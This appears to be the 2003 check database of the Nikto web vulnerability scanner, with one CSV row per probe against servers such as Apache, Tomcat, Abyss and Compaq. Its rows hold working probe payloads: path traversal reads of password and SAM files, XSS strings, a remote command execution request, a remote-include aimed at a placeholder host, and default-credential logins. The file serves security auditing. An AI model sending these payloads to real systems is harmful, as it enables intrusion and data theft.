#VERSION,1.149
#LASTMOD,05.20.2003  
# http://www.cirt.net

########################################################################
# Checks: ws type,root,method,file,result,information,data to send
########################################################################
# <script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET"
# Cross Site Scripting (XSS). CA-2000-02."

"abyss","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[fonts]","GET","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version."
"abyss","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[windows]","GET","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version."
"abyss","/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////","index of","GET","Abyss 1.03 reveals directory listing when 256 /'s are requested."
"abyss","/conspass.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
"abyss","/consport.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
"abyss","/general.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
"abyss","/srvstatus.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
"alchemyeye","@CGIDIRS../../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
"alchemyeye","@CGIDIRSNUL/../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
"alchemyeye","@CGIDIRSPRN/../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
"apache","/.DS_Store","Bud1","GET","Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version."
"apache","/.FBCIndex","Bud2","GET","This file son OSX contains the source of the files in the directory. http://www.securiteam.com/securitynews/5LP0O005FS.html"
"apache","//","not found for:","OPTIONS","By sending an OPTIONS request for /, the physical path to PHP can be revealed."
"apache","/666%0a%0a<script>alert('Vulnerable');</script>666.jsp","<script>alert('Vulnerable');</script>","GET","Apache Tomcat 4.1 / Linux is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"apache","/?D=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
"apache","/?M=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
"apache","/?N=D","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
"apache","/?S=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
"apache","/admin.cgi","Administration","GET","InterScan VirusWall administration is accessible without authentication."
"apache","/blah-whatever.jsp","JSP file \"","GET","The Apache Tomcat 3.1 server reveals the web root path when requesting a non-existent JSP file. CAN-2000-0759."
"apache","/cgi-bin/main_menu.pl","NetDetector Traffic Analysis","GET","The NetDetector allows unauthenticated users to perform database queries."
"apache","/cgi-bin/printenv","DOCUMENT_ROOT","GET","Apache 2.0 default script is executable and gives server environment variables. All default scripts should be removed."
"apache","/cgi-bin/printenv","Premature end of script headers: /","GET","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths."
"apache","/cgi-bin/search","=sourcedir","GET","Apache Stronghold 3.0 may reveal the web root in the source of this CGI ('sourcedir' value)."
"apache","/cgi-bin/test-cgi","PATH_TRANSLATED","GET","Apache 2.0 default script is executable and reveals system information. All default scripts should be removed."
"apache","/cgi-bin/test-cgi","Premature end of script headers: /","GET","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths."
"apache","/content/base/build/explorer/none.php?..:..:..:..:..:..:..:etc:passwd:","root:","GET","SunPS iRunbook Version 2.5.2 allows files to be read remotely."
"apache","/content/base/build/explorer/none.php?/etc/passwd","root:","GET","SunPS iRunbook Version 2.5.2 allows files to be read remotely."
"apache","/doc/rt/overview-summary.html","overview","GET","Oracle Business Components for Java 3.1 docs is running."
"apache","/docs/","200","GET","May give list of installed software"
"apache","/docs/sdb/en/html/index.html","Support Database","GET","This may be a default SuSe Apache install. This is the support page."
"apache","/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini","[windows]","GET","Apache allows files to be retrieved outside of the web root. Apache should be upgraded to 2.0.40 or above. CAN-2002-0661."
"apache","/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[fonts]","GET","Apache allows files to be retrieved outside of the web root. Apache should be upgraded to 2.0.40 or above. CAN-2002-0661."
"apache","/error/HTTP_NOT_FOUND.html.var","Available variants","GET","Apache reveals file system paths when invalid error documents are requested."
"apache","/examples/","Directory Listing","GET","Directory indexing enabled, also default JSP examples."
"apache","/examples/jsp/index.html","JSP Samples","GET","Apache Tomcat default JSP pages present."
"apache","/examples/jsp/snp/snoop.jsp","Request Information","GET","Displays information about page retrievals, including other users."
"apache","/examples/jsp/source.jsp??","Directory Listing","GET","Tomcat 3.23/3.24 allows directory listings by performing a malformed request to a default jsp. Default pages should be removed."
"apache","/examples/servlet/AUX","200","GET","Apache Tomcat versions below 4.1 may be vulnerable to DoS by repeatedly requesting this file."
"apache","/examples/servlet/TroubleShooter","TroubleShooter Servlet Output","GET","Tomcat default jsp page reveals system information and may be vulnerable to XSS."
"apache","/examples/servlets/index.html","Servlet Examples","GET","Apache Tomcat default JSP pages present."
"apache","/icons/","200","GET","Directory indexing is enabled, it should only be enabled for specific directories (if required). If indexing is not used all, the /icons directory should be removed."
"apache","/index.html.ca","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.cz.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.de","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.dk","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ee","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.el","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.en","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.es","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.et","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.fr","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.he.iso8859-8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.hr.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.it","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ja.iso2022-jp","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.kr.iso2022-kr","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ltz.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.lu.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.nl","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.nn","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.no","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.po.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.pt","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.pt-br","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ru.cp-1251","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ru.cp866","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ru.iso-ru","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ru.koi8-r","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.ru.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.se","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.tw","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.tw.Big5","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/index.html.var","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
"apache","/interscan/","Administration","GET","InterScan VirusWall administration is accessible without authentication."
"apache","/jservdocs/","200","GET","Default Apache JServ docs should be removed."
"apache","/lpt9","FileNotFoundException:","GET","Apache Tomcat 4.0.3 reveals the web root when requesting a non-existent DOS device. Upgrade to version 4.1.3beta or higher."
"apache","/manual/images/","200","GET","Apache 2.0 directory indexing is enabled, it should only be enabled for specific directories (if required). Apache's manual should be removed and directory indexing disabled."
"apache","/NetDetector/middle_help_intro.htm","NIKSUN-HELP","GET","The system appears to be a Niksun NetDetector (network monitoring). ĘThe help files should be available at /NetDetector/quick_help_index.html"
"apache","/oem_webstage/cgi-bin/oemapp_cgi","This script","GET","Oracle reveals the CGI source by prepending /oem_webstage to CGI urls."
"apache","/oem_webstage/oem.conf","DocumentRoot","GET","Oracle reveals a portion of the Apache httpd.conf file."
"apache","/php/php.exe?c:\boot.ini","boot loader","GET","The Apache config allows php.exe to be called directly."," "
"apache","/pls/admin","ENVIRONMENT","GET","Oracle Apache+WebDB gives a lot of system information via the pls/admin script"
"apache","/server-info","200","GET","This gives a lot of Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts."
"apache","/server-status","200","GET","This gives a lot of Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts."
"apache","/servlet/org.apache.catalina.ContainerServlet/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
"apache","/servlet/org.apache.catalina.Context/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
"apache","/servlet/org.apache.catalina.Globals/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
"apache","/servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
"apache","/servlets/MsgPage?action=badlogin&msg=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The NetDetector install is vulnerable to Cross Site Scripting (XSS) in it's invalid login message. CA-2000-02."
"apache","/site/eg/source.asp","200","GET","This asp (installed with Apache::ASP) allows attackers to upload files to the server. Upgrade to 1.95 or higher. CAN-2000-0628."
"apache","/soap/servlet/soaprouter","200","GET","Oracle 9iAS SOAP components allow anonymous users to deploy applications by default."
"apache","/soapConfig.xml","200","GET","Oracle 9iAS configuration file found - see bugrtraq #4290."
"apache","/stronghold-info","200","GET","Redhat Stronghold from versions 2.3 up to 3.0 disclose sensitive information. This gives information on configuration. CAN-2001-0868."
"apache","/stronghold-status","200","GET","Redhat Stronghold from versions 2.3 up to 3.0 disclose sensitive information. CAN-2001-0868."
"apache","/test","test hierarchy","GET","Apache Tomcat default file found. All default files should be removed."
"apache","/test.php","Current PHP version","GET","PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information."
"apache","/test/jsp/buffer1.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/buffer2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/buffer3.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/buffer4.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/declaration/IntegerOverflow.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/extends1.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/extends2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/Language.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageAutoFlush.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageDouble.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageExtends.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageImport2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageInfo.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageInvalid.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageIsErrorPage.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageIsThreadSafe.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/jsp/pageSession.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/test/realPath.jsp","WEBROOT","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
"apache","/tomcat-docs/index.html","200","GET","Default Apache Tomcat documentation found."
"apache","/XSQLConfig.xml","200","GET","Oracle 9iAS configuration file found - see bugrtraq #4290."
"apache","/~nobody/etc/passwd","root:","GET","Apache is misconfigured to view files by accessing ~nobody/filename. Change UserDir from './' to something else in httpd.conf."
"apache","@CGIDIRS.htaccess","200","GET","Contains authorization information"
"apache","@CGIDIRStest-cgi.bat","200","GET","This is an Apache for Win default. If Apache is lower than 1.3.23, this can be exploited as in test-cgi.bat?|dir+c:+>..\htdocs\listing.txt, but may not allow data sent back to the browser."
"cern","/.wwwacl","200","GET","Contains authorization information"
"cern","/.www_acl","200","GET","Contains authorization information"
"cern","@CGIDIRS.wwwacl","200","GET","Contains authorization information"
"cern","@CGIDIRS.www_acl","200","GET","Contains authorization information"
"cern","@CGIDIRSls"," neither '/","GET","The CERN server lets attackers view the host's path. Should be upgraded to Apache, as CERN is not maintained."
"citrix","/applist.asp","200","GET","Citrix server may allow remote users to view applications installed without authenticating."
"citrix","/boilerplate.asp?NFuse_Template=.../.../.../.../.../.../.../.../.../boot.ini&NFuse_CurrentFolder=/","boot loader","GET","Citrix CGI allows directory traversal."
"compaq","/proxy/ssllogin?user=administrator&password=administrator",">administrator<","GET","Compaq Web-Based Management allows login with id/pass 'administrator'/'administrator'."
"compaq","/proxy/ssllogin?user=administrator&password=operator",">operator<","GET","Compaq Web-Based Management allows login with id/pass 'operator'/'operator'."
"compaq","/proxy/ssllogin?user=administrator&password=user",">user<","GET","Compaq Web-Based Management allows login with id/pass 'user'/'user'."
"compaq","/Survey/Survey.Htm","System Components","GET","This Compaq device, without authentication, gives lots of system information."
"compaq","/WEBAGENT/CQMGSERV/CF-SINFO.TPF","General Information","GET","This Compaq device, without authentication, gives lots of system information. Load all the pages at /WEBAGENT/FINDEX.TPL"
"compaq","http://127.0.0.1:2301/ HTTP/1.0","Compaq WBEM Device","GET","The Compaq WBEM interface can act as an HTTP proxy, which can allow firewall or web proxy bypass. http://www.compaq.com/products/servers/management/SSRT0758.html"
"dwhttpd","/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar","200","GET","Sun Answerbook may allow users to be created without proper authentication first. Attempted to add user 'foo' with password 'bar'."
"dwhttpd","/ab2/@AdminViewError","200","GET","Sun Answerbook allows viewing of the error logs without authentication."
"generci","/pmlite.php","200","GET","A Xoops CMS script was found. Version RC3 and below allows all users to view all messages (untested). See http://www.phpsecure.org/?zone=pComment&d=101 for details." 
"generic","/","TRACE / HTTP/1.","TRACE","TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details"
"generic","/","TRACK / HTTP/1.","TRACK","TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details"
"generic","/%00","File Name","GET","Appending /%00 to a request to the web server may reveal a directory listing."
"generic","/%00/","Directory listing of","GET","Remote directories can be retrieved, (this may be a Roxen server), upgrade the server."
"generic","/%0a%0a<script>alert(\"Vulnerable\")</script>.jsp","<script>alert(\"Vulnerable\")</script>","GET","Jetty jsp servlet engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/%22%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
"generic","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","root:","GET","Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org)."
"generic","/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini","[windows]","GET","Attackers can read any file on the system. Upgrade to Analogx 1.07 or higher."
"generic","/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
"generic","/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
"generic","/%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 404 error messages if the code is in a directory. This may be Falcon web server."
"generic","/%3f.jsp","Directory Listing","GET","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL."
"generic","/%3f.jsp","Index of","GET","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL."
"generic","/&lt;script&gt;alert('Vulnerable');&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to cross site scripting (XSS) with HTML-encoded requests. CA-2000-02."
"generic","/.%252e/.%252e/.%252e/winnt/boot.ini","boot loader","GET","JWalk Web server allows any file to be retrieved from the remote system."
"generic","/..%252f..%252f..%252f..%252f..%252f../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%255c..%255c..%255c..%255c..%255c../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/................../etc/passwd","root:","GET","The web server allows the password file to be retrieved."
"generic","/.../.../.../.../.../.../.../.../.../boot.ini","boot loader","GET","Software allows files to be retrieved outside of the web root by using 'triple dot' notation. May be MiniPortal?"
"generic","/../../../../../../../../../../etc/passwd","root:","GET","It is possible to read files on the server by adding ../ in front of file name."
"generic","/..\..\..\..\..\..\temp\temp.class","200","GET","Cisco ACS 2.6.x and 3.0.1 (build 40) allows authenticated remote users to retrieve any file from the system. Upgrade to the latest version."
"generic","/./","include\(\"","GET","Appending '/./' to a directory may reveal php source code."
"generic","/.access","200","GET","Contains authorization information"
"generic","/.addressbook","200","GET","PINE addressbook, may store sensitive e-mail address contact information and notes"
"generic","/.bashrc","200","GET","User home dir was found with a shell rc file. This may reveal file and path information."
"generic","/.bash_history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
"generic","/.cobalt/sysManage/../admin/.htaccess","AuthName","GET","Cobalt RaQ 4 server manager allows any files to be retrieved by using the path through the .cobalt directory."
"generic","/.forward","200","GET","User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to."
"generic","/.history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
"generic","/.htaccess","200","GET","Contains authorization information"
"generic","/.htpasswd","200","GET","Contains authorization information"
"generic","/.lynx_cookies","200","GET","User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites."
"generic","/.passwd","200","GET","Contains authorization information"
"generic","/.pinerc","200","GET","User home dir found with a PINE rc file. May reveal system information, directories and more."
"generic","/.plan","200","GET","User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol "
"generic","/.proclog","200","GET","User home dir with a Procmail log file. May reveal user mail traffic, directories and more."
"generic","/.procmailrc","200","GET","User home dir with a Procmail rc file. May reveal sub directories, mail contacts and more."
"generic","/.profile","200","GET","User home dir with a shell profile was found. May reveal directory information and system configuration."
"generic","/.rhosts","200","GET","A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web."
"generic","/.sh_history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
"generic","/.ssh","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
"generic","/.ssh/authorized_keys","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
"generic","/.ssh/known_hosts","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
"generic","////./../.../boot.ini","boot loader","GET","Server is vulnerable to directory traversal, this may be Lidik Webserver 0.7b from lysias.de. See http://www.it-checkpoint.net/advisory/14.html for details."
"generic","///etc/hosts","200","GET","The server install allows reading of any system file by adding an extra '/' to the URL."
"generic","///etc/passwd","root:","GET","The server install allows reading of any system file by adding an extra '/' to the URL."
"generic","//admin/admin.shtml","200","GET","Axis network camera may allow admin bypass by using double-slashes before URLs."
"generic","//comment.php?mode=Delete&sid=1&cid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
"generic","//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/<script>alert('Vulnerable')</script>.aspx","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02."
"generic","/<script>alert('Vulnerable')</script>.jsp","<script>alert('Vulnerable')</script>.jsp","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/<script>alert('Vulnerable')</script>.shtml","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/<script>alert('Vulnerable')</script>.thtml","<script>alert('Vulnerable')</script>.thtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/?mod=<script>alert(document.cookie)</script>&op=browse","<script>alert(document.cookie)","GET","Sage 1.0b3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/?mod=node&nid=some_thing&op=view","/node.module.php","GET","Sage 1.0b3 may reveal system paths with invalid module names."
"generic","/?mod=some_thing&op=browse","in /","GET","Sage 1.0b3 reveals system paths with invalid module names."
"generic","/?sql_debug=1","SQL query: ","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
"generic","/a%5c.aspx","Invalid file name for monitoring:","GET","Older Microsoft .NET installations allow full path disclosure."
"generic","/a.jsp/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","JServ is vulnerable to Cross Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade to the latest version of JServ. CA-2000-02."
"generic","/a/","200","GET","May be Kebi Web Mail administration menu."
"generic","/a?<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to Cross Site Scripting (XSS) in the error message if code is passed in the query-string. This may be a Null HTTPd server."
"generic","/access-log","200","GET","Just found this log file..."
"generic","/access.log","200","GET","Just found this log file..."
"generic","/access/","200","GET","This might be interesting..."
"generic","/account/","200","GET","This might be interesting..."
"generic","/accounting/","200","GET","This might be interesting..."
"generic","/accounts/getuserdesc.asp","200","GET","Hosting Controller 2002 administration page is available. This should be protected."
"generic","/achievo//atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","http://xxxxxxxxxx/atk/","GET","Achievo can be made to include php files from another domain. Upgrade to a new version."
"generic","/active.log","WEBactive Http Server","GET","The WebActive log is accessible remotely."
"generic","/add.php","Failed opening '","GET","Ultimate PHP Board (UPB) final beta 1.0 reveals file system paths in add.php error messages."
"generic","/add.php3?url=ja&adurl=javascript:<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","AdManager 1.1 http://www.sugarfreenet.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."," "
"generic","/addressbook.php?\"><script>alert(Vulnerable)</script><!--","<script>alert(Vulnerable)</script>","GET","Squirrel Mail 1.2.7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/addyoursite.php?catid=&lt;Script&gt;JavaScript:alert('Vulnerable');&lt;/Script&gt;","<script>alert('Vulnerable')</script>","GET","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/add_user.php","output started at /","GET","DCP-Portal reveals system path. Upgrade to a version higher than 4.2. This version is also vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/admin.htm","200","GET","This might be interesting..."
"generic","/admin.html","200","GET","This might be interesting..."
"generic","/admin.html","MySimpleNews - Administration","GET","MySimpleNews contains the admin password in the login page HTML."," "
"generic","/admin.php","200","GET","This might be interesting..."
"generic","/admin.php3","200","GET","This might be interesting..."
"generic","/admin.php4?reg_login=1","200","GET","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected."
"generic","/admin.php?en_log_id=0&action=config","200","GET","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected."
"generic","/admin.php?en_log_id=0&action=users","200","GET","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected."
"generic","/admin.shtml","200","GET","This might be interesting..."
"generic","/admin/","200","GET","This might be interesting..."
"generic","/Admin/","CobaltServer","GET","The web server is the CobaltRaq administrator. If password protection is broken, attackers will have access to admin your server. Use tcpwrappers or shut this down for safety."
"generic","/admin/admin_phpinfo.php4","200","GET","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected."
"generic","/admin/browse.asp?FilePath=c:\&Opt=2&level=0","winnt","GET","Hosting Controller from hostingcontroller.com allows any file on the system to be read remotely."
"generic","/admin/contextAdmin/contextAdmin.html","200","GET","Tomcat may be configured to let attackers read arbitrary files. Restrict access to /admin."
"generic","/admin/cplogfile.log","200","GET","DevBB 1.0 final (http://www.mybboard.com)  log file is readable remotely. Upgrade to the latest version."
"generic","/admin/exec.php3?cmd=cat%20/etc/passwd","root:","GET","DotBr 0.1 allows remote command execution."
"generic","/admin/exec.php3?cmd=dir%20c:\","boot.ini","GET","DotBr 0.1 allows remote command execution."
